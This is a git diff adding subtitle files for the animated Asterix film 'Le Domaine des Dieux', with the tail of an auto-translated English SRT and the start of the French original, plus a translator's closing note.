+parents are, we could say hello to them. + +526 +00:40:50,904 --> 00:40:54,687 +Magnificent...Magnificent! + +527 +00:40:55,367 --> 00:40:57,047 +The poison works. + +528 +00:40:58,553 --> 00:41:01,849 +We must strike! Let it be known in +Armorica that the inhabitants of the + +529 +00:41:01,849 --> 00:41:06,339 +rebellious village are all entitled to +accommodation at the Domain of the Gods. + +530 +00:41:07,163 --> 00:41:08,603 +Free, and for life! + +531 +00:41:36,238 --> 00:41:43,545 +A magnificent free accommodation +awaits every family in the village at... + +532 +00:41:43,545 --> 00:41:44,545 +THE DOMAIN OF THE GODS!?!? + +533 +00:41:45,127 --> 00:41:46,234 +A free accomodation!? + +534 +00:41:46,234 --> 00:41:50,292 +Me, if it allows me to never see your faces +more, I'm not going any later than now! + +535 +00:41:52,228 --> 00:41:54,663 +I can say that a little civilization +will make me a vacation. + +536 +00:41:54,663 --> 00:41:56,699 +Because with your +fish and things... + +537 +00:41:56,699 --> 00:41:59,815 +But, I'm the village chief, mimine. +We can't go to the Domain of the Gods! + +538 +00:41:59,815 --> 00:42:02,082 +I didn't say I would go with you! + +539 +00:42:04,232 --> 00:42:14,799 +[they start arguing.] + +540 +00:42:14,799 --> 00:42:22,003 +[they argue.] + +541 +00:42:32,051 --> 00:42:34,375 +What do i do? I go? +- Yes! + +542 +00:42:34,375 --> 00:42:37,158 +Go ahead! +- Are you sure that I shouldn't + +543 +00:42:37,158 --> 00:42:38,592 +start with a light little song? + +544 +00:42:38,592 --> 00:42:40,528 +Huh, as an intro? +- No no no. + +545 +00:42:40,528 --> 00:42:43,785 +Attack directly, with +something powerful. + +546 +00:42:43,785 --> 00:42:47,625 +It's a new audience, you +have to make an impression! + +547 +00:42:49,233 --> 00:42:50,593 +Go for powerful. + +548 +00:42:56,440 --> 00:43:33,162 +[horrible chanting, screams] + +549 +00:43:44,295 --> 00:43:47,695 +After deliberation, we decided to +move into the Domain of the Gods + +550 +00:43:47,919 --> 00:43:50,178 +To bring us closer to +your beloved customers. + +551 +00:43:50,178 --> 00:43:53,638 +As such, we begin by discouraging +any attempt at a welcome chant. + +552 +00:43:53,782 --> 00:43:58,847 +Note that the macros will +always be at 7 sesterces! + +553 +00:43:59,976 --> 00:44:00,976 +Let's go! + +554 +00:44:05,563 --> 00:44:07,363 +They are crazy, these Gauls. + +555 +00:44:07,815 --> 00:44:09,139 +I feel like it's calmed down. + +556 +00:44:27,522 --> 00:44:29,202 +Obelix? +- You're here? + +557 +00:44:34,904 --> 00:44:37,976 +We didn't know where to go. +- You did well. + +558 +00:44:59,528 --> 00:45:02,128 +[this is my favorite part of the movie] + +559 +00:47:09,634 --> 00:47:10,634 +I'm hungry. + +560 +00:47:15,732 --> 00:47:21,855 +[evil laugh] + +561 +00:47:24,349 --> 00:47:25,394 +What did I say? + +562 +00:47:25,950 --> 00:47:26,744 +At what moment? + +563 +00:47:26,744 --> 00:47:28,073 +Right here right now. + +564 +00:47:28,073 --> 00:47:30,687 +You were laughing devilishly. + +565 +00:47:30,687 --> 00:47:31,618 +Evil, even. + +566 +00:47:31,618 --> 00:47:32,618 +No before! + +567 +00:47:36,679 --> 00:47:38,359 +Didn't you say "Finally"? + +568 +00:47:38,921 --> 00:47:41,410 +Finally, I have them, these +irreducible Gauls. + +569 +00:47:41,410 --> 00:47:44,692 +After all these years of +humiliation, it only took four buildings + +570 +00:47:44,692 --> 00:47:48,352 +for the knowledge. +- Magnificent, O Caesar. + +571 +00:47:48,352 --> 00:47:50,966 +Our victory over Gaul is total!! +- No. + +572 +00:47:50,966 --> 00:47:55,782 +It will only be complete when there +is no longer a part of their village left. + +573 +00:47:56,033 --> 00:47:57,033 +OUCH!! + +574 +00:47:59,753 --> 00:48:01,433 +Modification of plans. + +575 +00:48:02,302 --> 00:48:03,982 +We have a village to raze. + +576 +00:48:05,410 --> 00:48:06,850 +[evil laugh] + +577 +00:48:08,684 --> 00:48:09,574 +That's diabolical... + +578 +00:48:09,574 --> 00:48:10,934 +No. Maleficent... + +579 +00:48:18,343 --> 00:48:19,343 +Over there! + +580 +00:48:23,399 --> 00:48:24,399 +Did we see one? +- No. + +581 +00:48:24,516 --> 00:48:26,663 +So why are you turning? +- To change corners! + +582 +00:48:26,833 --> 00:48:28,253 +There was nothing there. + +583 +00:48:28,253 --> 00:48:29,253 +Over there! + +584 +00:48:38,174 --> 00:48:41,173 +No. Still no boar. + +585 +00:48:41,173 --> 00:48:43,573 +They left because of the works. + +586 +00:49:02,951 --> 00:49:03,951 +Well then? + +587 +00:49:05,043 --> 00:49:06,723 +I am too tired. + +588 +00:49:07,098 --> 00:49:08,618 +I am going to rest. + +589 +00:49:10,626 --> 00:49:12,171 +It's because you're hungry. +- You think? + +590 +00:49:12,171 --> 00:49:14,420 +Does it happen when you +don't eat for a long time? + +591 +00:49:14,420 --> 00:49:15,540 +I dunno... + +592 +00:49:18,261 --> 00:49:21,781 +Do not worry. I'm going to +look for a boar all by myself. + +593 +00:49:22,974 --> 00:49:24,654 +Don't go too far! + +594 +00:49:36,226 --> 00:49:37,226 +Idefix! + +595 +00:49:39,883 --> 00:49:40,883 +Oh! + +596 +00:49:47,153 --> 00:49:48,273 +CHAAAARGEEEEEZ + +597 +00:49:52,693 --> 00:49:54,223 +Well, what are you doing? + +598 +00:49:55,096 --> 00:49:58,168 +We don't care for having voted +for the general strike! + +599 +00:50:00,633 --> 00:50:03,221 +We believe this assault +is potentially dangerous! + +600 +00:50:03,540 --> 00:50:06,061 +It's good! It's an assault, we +raze a village, it's not dangerous! + +601 +00:50:12,528 --> 00:50:18,183 +The old druid must be neutralized +so that the Gauls have no more potion! + +602 +00:50:37,840 --> 00:50:38,969 +The soldiers, they want... + +603 +00:50:38,969 --> 00:50:41,375 +...to destroy the village, yes. I heard. + +604 +00:50:42,915 --> 00:50:44,435 +*raze* the village. + +605 +00:50:44,546 --> 00:50:47,746 +The exact way to say +it is *raze* the village. + +606 +00:50:48,094 --> 00:50:49,614 +GET THEM! + +607 +00:50:49,703 --> 00:50:52,319 +Centurion, we haven't settled our business! + +608 +00:50:52,448 --> 00:50:56,019 +There he is, your druid, you talk about +him, and boom! Directly on your pif! + +609 +00:50:56,019 --> 00:50:56,806 +What more do you need? + +610 +00:50:56,806 --> 00:51:00,134 +- We have not settled the +question of free accommodation! + +611 +00:51:04,353 --> 00:51:06,086 +STOP THEM BY JUPITER!!! + +612 +00:51:13,628 --> 00:51:21,146 +O, O... O Caesar, no building will +stand high enough, lofty enough! + +613 +00:51:27,171 --> 00:51:30,448 +All accommodations are occupied. +We have to put it somewhere else. + +614 +00:51:30,448 --> 00:51:32,913 +That's no reason to +put a prison in the lobby! + +615 +00:51:32,913 --> 00:51:37,393 +If we don't put it inside, +the other Gauls will see it. + +616 +00:51:39,811 --> 00:51:42,737 +A reception hall, a cage, at the +same time, what does it look like? + +617 +00:51:58,873 --> 00:52:01,979 +Don't worry. +Someone will help us. + +618 +00:52:01,979 --> 00:52:04,952 +I know Obelix is ​​going to smash everything. + +619 +00:52:04,952 --> 00:52:07,960 +We have to find a +way to warn someone. + +620 +00:52:16,388 --> 00:52:18,188 +Hey, up there! No heckling! + +621 +00:52:22,145 --> 00:52:23,145 +Hercules. + +622 +00:52:32,769 --> 00:52:35,646 +You're smarter than I thought. + +623 +00:52:45,267 --> 00:52:50,323 +But I won't be able to assign accommodation +to everyone at the Domain of the Gods! + +624 +00:53:09,979 --> 00:53:10,979 +Apeljus? + +625 +00:53:24,743 --> 00:53:25,743 +Panoramix? + +626 +00:53:31,907 --> 00:53:33,528 +Something must have +happened to Apeljus. + +627 +00:53:33,528 --> 00:53:35,208 +Apeljus is safe, +he's with Obelix-- + +628 +00:53:38,740 --> 00:53:40,420 +Are you with Apeljus? + +629 +00:53:41,493 --> 00:53:43,360 +We have to go up the river! + +630 +00:54:12,446 --> 00:54:17,758 +I have never seen a legion living in +a deluxe building, with wife and child. + +631 +00:54:21,389 --> 00:54:22,346 +...and the fat Centurion? + +632 +00:54:23,137 --> 00:54:24,227 +What fat Centurion? + +633 +00:54:24,227 --> 00:54:26,056 +No. And the FAT Centurion! + +634 +00:54:26,056 --> 00:54:27,831 +But how fat are you talking about? + +635 +00:54:27,831 --> 00:54:30,435 +The fat Gaul with superhuman +strength who doesn't need a potion! + +636 +00:54:30,435 --> 00:54:31,875 +He is still running! + +637 +00:54:44,370 --> 00:54:45,890 +I'm hungry ! + +638 +00:54:52,879 --> 00:54:54,746 +Stop, you'll wake him up! + +639 +00:55:02,478 --> 00:55:05,435 +Every time you have a prisoner, +you bring him to me in the hall! + +640 +00:55:12,926 --> 00:55:14,338 +They got Obelix! + +641 +00:55:14,338 --> 00:55:16,569 +You already told me that +for the two next to the mosaic! + +642 +00:55:16,569 --> 00:55:18,528 +Hush! +- The mosaic that has a flaw! + +643 +00:55:18,528 --> 00:55:19,808 +Hush! +- Shut up! + +644 +00:55:20,310 --> 00:55:23,638 +SILENCE! We need +to put it in a safe place. + +645 +00:56:24,809 --> 00:56:28,594 +I don't understand! We followed +the river and we didn't find him! + +646 +00:56:28,594 --> 00:56:30,594 +We must have missed something. + +647 +00:56:47,044 --> 00:56:50,847 +I hope this is not for nothing. + +648 +00:56:53,566 --> 00:56:55,788 +Please! We gather around me! + +649 +00:57:01,562 --> 00:57:07,884 +We have the chance to +show you a completely rare event! + +650 +00:57:28,297 --> 00:57:33,260 +CHAAAAARGEEE PLEASE + +651 +00:57:39,918 --> 00:57:42,185 +BE KIND TO HIIIIIIIIIT + +652 +00:57:56,336 --> 00:57:57,336 +Ah! + +653 +00:57:59,368 --> 00:58:01,302 +Do something!!! + +654 +00:58:01,742 --> 00:58:02,862 +What do I do!? + +655 +00:58:04,608 --> 00:58:05,888 +What Centurion!? + +656 +00:58:22,592 --> 00:58:26,444 +[he pretends to drink the potion.] + +657 +00:58:30,373 --> 00:58:46,832 +[he pretends to have effects +of the magic potion.] + +658 +00:58:50,525 --> 00:58:52,792 +BE NICE TO ATTACK THIS IDIOT! + +659 +00:58:53,996 --> 00:58:55,399 +What? I said "Be nice"! + +660 +00:58:55,399 --> 00:58:58,214 +If he has the magic potion, no fight! + +661 +00:58:58,214 --> 00:59:01,798 +That's why we locked the +druid in the Domain of the Gods! + +662 +00:59:01,936 --> 00:59:03,846 +The Druid? What Druid? +- Ours? + +663 +00:59:03,846 --> 00:59:04,874 +And the big one too! + +664 +00:59:04,874 --> 00:59:06,874 +The big? What big? +- Ours? + +665 +00:59:07,476 --> 00:59:09,476 +He just drank it, the little one. + +666 +00:59:13,092 --> 00:59:14,772 +Fake? in a gourd? + +667 +00:59:19,809 --> 00:59:21,876 +Alright. +I understand, I'm going down. + +668 +00:59:38,395 --> 00:59:41,289 +So, you have superhuman strength? +- Do you want a slap? + +669 +00:59:44,156 --> 00:59:45,156 +Do it. + +670 +00:59:47,984 --> 00:59:51,568 +My first slaps are first +reserved for the Romans. + +671 +00:59:51,961 --> 00:59:53,641 +These in particular. + +672 +00:59:55,011 --> 00:59:57,467 +Are you proud of yourself, +and your ridiculous clothes? + +673 +00:59:57,467 --> 00:59:59,534 +"Roman civilians"... + +674 +00:59:59,692 --> 01:00:03,592 +You, Abraracourcix, our chief, I +will teach you to desert your village. + +675 +01:00:03,592 --> 01:00:04,247 +Huh? + +676 +01:00:04,820 --> 01:00:06,908 +I will teach you to desert your village. + +677 +01:00:07,222 --> 01:00:08,189 +I get it but-- + +678 +01:00:08,189 --> 01:00:12,770 +By giving you a slap whose power +is granted by the magic potion. + +679 +01:00:14,609 --> 01:00:16,876 +Which I just drank just now. + +680 +01:00:18,931 --> 01:00:23,270 +Are you ready to take a slap that will +send you to the other end of the forest. + +681 +01:00:38,193 --> 01:00:40,259 +By Toutatis, what a power! + +682 +01:00:42,419 --> 01:00:44,619 +This is for your not fresh fish! + +683 +01:00:50,234 --> 01:00:51,966 +By Benos! What a knockout! + +684 +01:00:51,966 --> 01:00:53,833 +And that's it for your Antiquities! + +685 +01:00:55,157 --> 01:00:56,157 +Oooohh, Armorica, + +686 +01:00:56,158 --> 01:01:04,604 +[i couldn't understand what he was saying] + +687 +01:01:10,379 --> 01:01:12,712 +So he has the magic potion or not? + +688 +01:01:13,183 --> 01:01:16,255 +They have it, they don't... +I'm destabilized. + +689 +01:01:16,262 --> 01:01:18,929 +It is absolutely necessary that +I release Obélix and Panoramix. + +690 +01:01:18,929 --> 01:01:20,449 +Occupy the Romans. + +691 +01:01:20,900 --> 01:01:23,800 +Asterix, if you only +knew, I'm so ashamed! + +692 +01:01:24,221 --> 01:01:25,901 +We'll see that later. + +693 +01:01:30,559 --> 01:01:33,652 +Our dear village is threatened! It's now or + +694 +01:01:33,652 --> 01:01:37,748 +never to drink a generous portion +of our famous magic potions! + +695 +01:01:42,268 --> 01:01:44,474 +[they pretend effects of +the magic potion like idiots] + +696 +01:01:44,474 --> 01:01:50,377 +Centurion, in military terms what do we do? +- I don't know, I'm destabilized. + +697 +01:02:08,934 --> 01:02:11,235 +Apeljus is in this building +but everything is closed. + +698 +01:02:11,235 --> 01:02:12,969 +Why in this building? + +699 +01:02:14,573 --> 01:02:16,573 +Open up or I'll break down the door!! + +700 +01:02:16,893 --> 01:02:17,893 +Dad! + +701 +01:02:23,217 --> 01:02:24,217 +Panoramix! + +702 +01:02:24,944 --> 01:02:26,744 +How many are in there? + +703 +01:03:06,291 --> 01:03:08,091 +GUARD! GRAB THEM! + +704 +01:03:10,104 --> 01:03:11,784 +Free the prisoners-- + +705 +01:03:41,752 --> 01:03:44,759 +When I tell you that your +mosaic has a defect... + +706 +01:03:45,795 --> 01:03:47,235 +It's that it has... + +707 +01:03:48,103 --> 01:03:49,103 +...A... + +708 +01:03:50,568 --> 01:03:51,568 +...de... + +709 +01:03:52,588 --> 01:03:53,588 +...fect! + +710 +01:04:08,814 --> 01:04:11,626 +If the owl hoots, +someone isn't asleep. + +711 +01:04:12,339 --> 01:04:15,669 +He who speaks without meaning +anything better be silent. + +712 +01:04:15,669 --> 01:04:16,882 +And this one, you didn't steal it. + +713 +01:04:23,298 --> 01:04:24,978 +What have you done with Obelix? + +714 +01:04:27,825 --> 01:04:31,766 +We don't have time for +Obelix! We need magic potion! + +715 +01:04:40,973 --> 01:04:43,773 +Hey! I was closed here, you forgot me? + +716 +01:04:56,610 --> 01:05:00,130 +You've been chatting for +an hour, what are you doing? + +717 +01:05:01,029 --> 01:05:04,325 +Let's admit that we fall back. +Are you going to follow us? + +718 +01:05:04,325 --> 01:05:06,005 +Chances are, yes. + +719 +01:05:07,824 --> 01:05:10,656 +Who is for the fallback? + +720 +01:05:10,656 --> 01:05:12,336 +Who's for the fight? + +721 +01:05:14,747 --> 01:05:15,747 +We fallback. + +722 +01:05:28,974 --> 01:05:29,974 +We charge!! + +723 +01:06:02,168 --> 01:06:05,368 +That is good. No need. +Oh yes, I need that. + +724 +01:06:06,666 --> 01:06:07,866 +What is that? + +725 +01:06:10,716 --> 01:06:12,396 +Quick, Panoramix, quick! + +726 +01:06:35,785 --> 01:06:37,785 +You don't take your accommodation? + +727 +01:06:40,568 --> 01:06:42,248 +You took them all. + +728 +01:06:57,709 --> 01:06:59,643 +Why are they out of breath? + +729 +01:06:59,681 --> 01:07:01,615 +Usually, that never happens. + +730 +01:07:04,452 --> 01:07:07,526 +What do you need just to know +they don't have the potion? + +731 +01:07:07,526 --> 01:07:08,526 +A sign? + +732 +01:07:53,299 --> 01:07:55,499 +What is all this madness? + +733 +01:08:29,163 --> 01:08:31,721 +YOU THINK I CAME +HERE JUST TO EAT!? + +734 +01:08:32,410 --> 01:08:34,477 +Not even a small tartlet? + +735 +01:08:34,807 --> 01:08:36,066 +This is what i do to your tartlet! + +736 +01:08:36,151 --> 01:08:39,671 +Get all this food out of here, immidiately! + +737 +01:08:51,315 --> 01:08:53,248 +When Caesar says "we throw"... + +738 +01:08:54,342 --> 01:08:55,342 +We throw. + +739 +01:08:56,110 --> 01:08:57,150 +[he is crying] + +740 +01:09:09,127 --> 01:09:10,946 +Stop these people immidiately! + +741 +01:09:17,334 --> 01:09:18,854 +Almost, almost... + +742 +01:09:29,098 --> 01:09:31,765 +Asterix, no! The potion is not ready! + +743 +01:10:21,768 --> 01:10:26,312 +You lost, Gaul. This time, Rome +was stronger than your people. + +744 +01:10:31,106 --> 01:10:37,557 +I am Asterix. Gallic warrior. + +745 +01:10:38,383 --> 01:10:42,193 +It's strange, I was told that all +the Gauls had become Romans. + +746 +01:10:42,193 --> 01:10:43,633 +But they are!! + +747 +01:10:46,533 --> 01:10:49,133 +Look, Caesar! Your victory is complete! + +748 +01:10:49,570 --> 01:10:56,391 +Contemplate your prisoners, the +mustache civilization is finally defeated! + +749 +01:10:56,829 --> 01:11:02,793 +And this stupid arrogant little warrior +will now join his fat accomplice... + +750 +01:11:02,793 --> 01:11:03,793 +In the dungeon!! + +751 +01:11:19,689 --> 01:11:21,715 +I'm not... + +752 +01:11:21,715 --> 01:11:23,395 +FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT + +753 +01:11:34,739 --> 01:11:35,739 +We charge! + +754 +01:11:39,324 --> 01:11:40,324 +We charge!! + +755 +01:11:42,717 --> 01:11:44,517 +Charge please!!! + +756 +01:11:52,751 --> 01:11:55,084 +Open! By order of Caesar, open! + +757 +01:11:55,896 --> 01:11:57,576 +Is there help outside? + +758 +01:12:03,944 --> 01:12:05,624 +We can say that, yes. + +759 +01:12:14,413 --> 01:12:15,413 +Shoot! + +760 +01:12:27,151 --> 01:12:28,831 +Be kind enough to-- + +761 +01:12:48,138 --> 01:12:49,498 +The final touch. + +762 +01:13:02,605 --> 01:13:05,528 +YOU WILL NOT PASS!! + +763 +01:13:11,484 --> 01:13:14,218 +Ah. +It's not going to be the same lemonade*. + +764 +01:13:41,485 --> 01:13:45,965 +Friends! We need more freedom +threatened by the sneaky tentacles! + +765 +01:13:59,601 --> 01:14:03,569 +We hope you had a +pleasant time in Armorique. + +766 +01:14:12,733 --> 01:14:14,043 +This one, Obelix, is for you. + +767 +01:14:14,043 --> 01:14:16,635 +Of course it's for +me, I saw it first. + +768 +01:14:16,635 --> 01:14:18,772 +Watch out, we're crossing! + +769 +01:14:26,680 --> 01:14:28,120 +GET BACK!! + +770 +01:14:33,394 --> 01:14:35,067 +I demand the name of a manager! + +771 +01:14:35,067 --> 01:14:37,034 +The manager's name is Cesar, ma'am. + +772 +01:14:57,453 --> 01:14:58,751 +What are you doing?? + +773 +01:14:58,751 --> 01:15:02,224 +It's a long story. Let's say that when +the construction site was finished, + +774 +01:15:02,224 --> 01:15:06,192 +We had to think about a conversion. +And that's when we were offered-- + +775 +01:15:06,866 --> 01:15:08,169 +After a while it's fine. + +776 +01:15:18,269 --> 01:15:20,807 +Wow...! Hercule! + +777 +01:15:37,630 --> 01:15:40,351 +I don't know what you have in +store for me, Gaul, but I hope + +778 +01:15:40,351 --> 01:15:43,039 +that you'll have dignity-- +- You're stupid to talk about dignity. + +779 +01:15:43,666 --> 01:15:43,987 +How? + +780 +01:15:44,299 --> 01:15:46,082 +The Domain of the Gods +stunt doesn't look like you. + +781 +01:15:46,308 --> 01:15:49,226 +It's sneaky, deceitful, and +calculated. You should be ashamed. + +782 +01:15:50,002 --> 01:15:52,909 +You know, we try things +huh, sometimes it works... + +783 +01:15:52,909 --> 01:15:54,560 +- Sometimes it doesn't work. + +784 +01:15:54,731 --> 01:15:57,762 +You will return to Rome +and take the civilians with you. + +785 +01:15:57,762 --> 01:15:59,969 +I remind you that they +need a deluxe apartment. + +786 +01:16:00,235 --> 01:16:05,453 +and...remember that there is a village +in Armorica that will resist you forever. + +787 +01:16:09,109 --> 01:16:10,109 +Welp... + +788 +01:16:10,346 --> 01:16:12,594 +[Latin] + +789 +01:16:12,594 --> 01:16:14,656 +But hey, we can't live +here every time either. + +790 +01:16:14,656 --> 01:16:16,523 +Come on, everyone in Rome! + +791 +01:16:49,625 --> 01:16:54,777 +But I was told that I had fallen into +the magic potion when I was little. + +792 +01:16:54,777 --> 01:16:57,035 +Yes yes. We know. A little try... + +793 +01:17:24,933 --> 01:17:28,869 +Thank you for everything, Asterix. +Rome will seem to us faster now. + +794 +01:17:29,440 --> 01:17:32,384 +Hey, Petiminus, a little +souvenir from Armorica. + +795 +01:17:32,733 --> 01:17:35,333 +With the compliments of the Gaul druid. + +796 +01:17:41,114 --> 01:17:43,181 +Take this! It will make you a figurine. + +797 +01:17:43,641 --> 01:17:47,097 +I'm sorry, that's all I could make. + +798 +01:18:04,549 --> 01:18:06,229 +Watch out, a menhir! + +799 +01:18:06,716 --> 01:18:08,156 +This is what you get! + +800 +01:18:11,476 --> 01:18:16,656 +Tonight's program is +fan... it's fan-tastic! + +801 +01:18:20,145 --> 01:18:22,659 +The small all dry, you +start with a blow to the hay. + +802 +01:18:22,659 --> 01:18:26,657 +Afterwards, you turn around towards the big +bugger, and you do a sun projection on him. + +803 +01:18:26,657 --> 01:18:29,013 +Do we agree that +I'm the big bugger? + +804 +01:18:29,013 --> 01:18:30,851 +And hey there! The shot of the robin. + +805 +01:18:31,230 --> 01:18:34,097 +And we take it easy, not like training? + +806 +01:18:34,134 --> 01:18:35,915 +What's the robin shot? + +807 +01:18:35,915 --> 01:18:39,650 +Immobilization, strangulation... +- We've done it three times already. + +808 +01:18:39,650 --> 01:18:42,826 +If you do like training, +you won't get hurt. + +809 +01:18:42,826 --> 01:18:44,506 +We get hurt when training... + +810 +01:18:44,728 --> 01:18:45,728 +Whatever, hurt yourself, then. + +811 +01:18:49,986 --> 01:18:52,897 +We present the glala... +the gladi... the gladiators! + +812 +01:18:53,752 --> 01:18:59,171 +[ all ] Avé Caesar! + +813 +01:19:13,791 --> 01:19:16,091 +GET ME OUT OF HERE!! + +814 +01:19:16,354 --> 01:19:18,687 +OTHERWISE LIONS FOR EVERYONE! + +815 +01:19:23,824 --> 01:19:26,962 +Gorgeous. +- He really has a crazy talent, Petiminus. + +816 +01:19:27,263 --> 01:19:29,263 +He had been nice to us. + +817 +01:19:29,391 --> 01:19:31,080 +Even if it still isn't. + +818 +01:19:31,080 --> 01:19:34,376 +That's it! The sarcasms begin again! +- I only disguise myself as a Roman... + +819 +01:19:34,376 --> 01:19:37,258 +...only to hire (the enemy). + +820 +01:19:37,258 --> 01:19:39,391 +Exact. +- Hey, we're in Gaul here! + +821 +01:19:40,319 --> 01:19:41,847 +We behave well at the table! + +822 +01:19:41,847 --> 01:19:43,780 +Traitor! - Who's a traitor? + +823 +01:19:44,126 --> 01:19:45,126 +Invincible we are! + +824 +01:19:46,596 --> 01:19:48,196 +Irreducible we are! + +825 +01:20:17,198 --> 01:20:20,123 +Subtitles made by @Ponali + +826 +01:20:20,123 --> 01:20:23,071 +doing 1 hour and 20 minutes of subtitling +was much harder than i thought and i didnt + +827 +01:20:23,071 --> 01:20:26,232 +think it would take this long. plus, there +are jokes that can only be understood + +828 +01:20:26,232 --> 01:20:29,378 +in France, which makes it harder. and for +the translation part from French to English + +829 +01:20:29,378 --> 01:20:32,474 +there are parts that will not be translated +correctly, thus no way to understand the + +830 +01:20:32,474 --> 01:20:35,420 +jokes and why this movie is funny. i used +software called "Subtitle Edit" which is + +831 +01:20:35,420 --> 01:20:38,642 +what it says. we have some stuff to talk +about like what to download but i am not + +832 +01:20:38,642 --> 01:20:41,775 +going to explain that here. the french +subs took 3 days, but the english one was + +833 +01:20:41,775 --> 01:20:45,064 +much shorter. i was watching out since i +didn't want someone to know i downloaded it + +834 +01:20:45,064 --> 01:20:48,313 +and possibly having copyright issues +regarding this movie. + +835 +01:20:48,313 --> 01:20:51,340 +for more stuff on how i made the subtitles +and such, find me on discord at @ponali + +836 +01:20:51,340 --> 01:20:54,548 +if you're interested, you can see my +YouTube channel: @ponali.mememaker + +837 +01:20:54,548 --> 01:20:57,714 +this is my favorite movie and i +hope you understood everything. + +838 +01:20:57,714 --> 01:21:00,797 +this subtitle is based around the french +one and is auto translated using google + +839 +01:21:00,797 --> 01:21:03,864 +translate. please report any mistranslation +from this subtitle if found one, that would + +840 +01:21:03,864 --> 01:21:05,544 +be really appreciated. +;) + diff --git a/files/jsart/videos/le-domaine-des-dieux/le-domaine-des-dieux.fr.srt b/files/jsart/videos/le-domaine-des-dieux/le-domaine-des-dieux.fr.srt new file mode 100644 index 0000000..ec892f5 --- /dev/null +++ b/files/jsart/videos/le-domaine-des-dieux/le-domaine-des-dieux.fr.srt @@ -0,0 +1,3735 @@ +1 +00:00:59,253 --> 00:01:01,253 +Sénateurs, je vous le dis... + +2 +00:01:01,253 --> 00:01:03,253 +Ce qui ont échappé +aux griffes du lion, + +3 +00:01:03,253 --> 00:01:05,253 +Seront empoisonnées +par le venin du serpent. + +4 +00:01:06,086 --> 00:01:08,586 +[ blablatement ] + +5 +00:01:08,586 --> 00:01:09,586 +Quoi? + +6 +00:01:12,073 --> 00:01:13,753 +C'est que... Ô césar... + +7 +00:01:13,753 --> 00:01:16,353 +Qu'entends-tu exactement +par "venin du serpent"? + +8 +00:01:16,359 --> 00:01:18,159 +Moi, c'est les griffes du +lion, que j'ai pas compris. + +9 +00:01:18,160 --> 00:01:19,000 +Ah, moi, j'ai compris ni l'un ni l'autre. + +10 +00:01:19,000 --> 00:01:20,100 +Les griffes du lion, + +11 +00:01:20,125 --> 00:01:22,191 +L'invincible puissance de Rome, + +12 +00:01:22,264 --> 00:01:25,164 +Comme les serfs du +flocon s'est refermé sur-- + +13 +00:01:25,176 --> 00:01:26,196 +On avait un flocon? + +14 +00:01:26,196 --> 00:01:26,996 +Chut!!! + +15 +00:01:27,079 --> 00:01:29,679 +Comme les serfs du flocon s'est refermé + +16 +00:01:29,966 --> 00:01:31,973 +s'est refermé sur tous les continents, sauf + +17 +00:01:32,017 --> 00:01:33,457 +Ici, en Armorique. + +18 +00:01:34,159 --> 00:01:40,159 +Où ces irréductibles Gaulois continuent +de rire au bêtes de l'aigle impérial! + +19 +00:01:41,034 --> 00:01:43,106 +L'aigle impérial, ça pose +problème à quelqu'un? + +20 +00:01:45,068 --> 00:01:49,292 +Ainsi, ces barbares refusent +Rome, alors c'est Rome qui ira à eux! + +21 +00:01:52,926 --> 00:01:54,393 +Euhhh, ça y est, c'est maintenant? + +22 +00:01:54,841 --> 00:01:56,521 +Oui, c'est maintenant. + +23 +00:01:58,542 --> 00:02:02,454 +Le venin du serpent le voilà. Leurs forêts +laissera de la place pour nos immeubles. + +24 +00:02:03,177 --> 00:02:07,273 +Encerclant leur village, ils +devrons s'adapter ou à disparaître. + +25 +00:02:08,899 --> 00:02:10,019 +[ il rigole. ] + +26 +00:02:10,731 --> 00:02:12,883 +J'ai confié la construction +de notre magnifique cité + +27 +00:02:12,883 --> 00:02:14,817 +au jeune architecte Anglégus. + +28 +00:02:15,239 --> 00:02:19,783 +Il a déjà conçu de nombreux édifices +dont beaucoup ne s’effondrent pas. + +29 +00:02:22,357 --> 00:02:25,749 +Bravo, Anglégus. J'adore, +magnifique petite maquette. + +30 +00:02:27,150 --> 00:02:29,483 +Comment vas-tu appeler cette cité? + +31 +00:02:29,489 --> 00:02:31,169 +Au début, j'ai pensé-- +- Non, annule ça. + +32 +00:02:33,398 --> 00:02:35,406 +Avez-vous une proposition, +sénateur Prospectus? + +33 +00:02:35,840 --> 00:02:39,640 +Il faudrait un nom qui indiquerait Rome... + +34 +00:02:39,897 --> 00:02:42,097 +Mais qui n'est pas vraiment Rome. + +35 +00:02:43,002 --> 00:02:44,002 +Rume. + +36 +00:02:44,705 --> 00:02:45,705 +Rume? + +37 +00:02:45,768 --> 00:02:48,992 +Bah, ça invoque pas vraiment Rome? +- J'ai peur qu'on confonde avec- + +38 +00:02:49,119 --> 00:02:50,719 +Qu'est-ce que vous pensez... + +39 +00:02:51,386 --> 00:02:53,066 +Du "Domaine des dieux"? + +40 +00:02:53,235 --> 00:02:54,915 +Le domaine des dieux? + +41 +00:02:57,950 --> 00:02:59,630 +Je ne suis pas sûr... + +42 +00:03:00,774 --> 00:03:02,974 +Ah si, quand même, c'est pas mal. + +43 +00:05:17,680 --> 00:05:18,680 +Coucou! + +44 +00:05:19,945 --> 00:05:21,145 +Celui-là, Obélix, il est pour toi. + +45 +00:05:21,307 --> 00:05:22,307 +Évidemment, je l'ais vu en premier. + +46 +00:05:23,320 --> 00:05:24,320 +Ah ouais? + +47 +00:05:25,361 --> 00:05:26,561 +Et là, il a peur de moi, pas toi! + +48 +00:05:26,922 --> 00:05:28,722 +Comment tu sais? T'l'as parlé? + +49 +00:05:28,744 --> 00:05:31,045 +C'est toujours moi qui vois +les sangliers en premier! + +50 +00:05:31,045 --> 00:05:33,462 +Ou j'vais peut-être t'abattre et +l'avoir sans que tu le saches? + +51 +00:05:33,721 --> 00:05:35,855 +AH OUAIS HEIN!? MÔSSIEUR +ASTÉRIX EST INDISPENSABLE?? + +52 +00:05:36,606 --> 00:05:37,312 +T'as fini, oui?? + +53 +00:05:37,312 --> 00:05:38,821 +Pour le sanglier? C'est +moi le plus rapide, tu sais. + +54 +00:05:39,139 --> 00:05:40,352 +Je suis sûr que tu parles +de quand tu le manges. + +55 +00:05:40,449 --> 00:05:41,144 +C'EST LE MIEN! + +56 +00:05:41,469 --> 00:05:41,850 +NON, LE MIEN! + +57 +00:05:42,008 --> 00:05:44,242 +[ ils se disputent. ] + +58 +00:05:46,942 --> 00:05:47,587 +C'EST LE MIEN! + +59 +00:05:47,587 --> 00:05:49,478 +[ il rigole. ] + +60 +00:06:00,442 --> 00:06:01,477 +OBÉLIX! + +61 +00:06:02,154 --> 00:06:03,696 +MON SANGLIER! + +62 +00:06:05,042 --> 00:06:06,855 +RENDS-LE MOI! + +63 +00:06:07,952 --> 00:06:09,285 +C'EST PAS TON 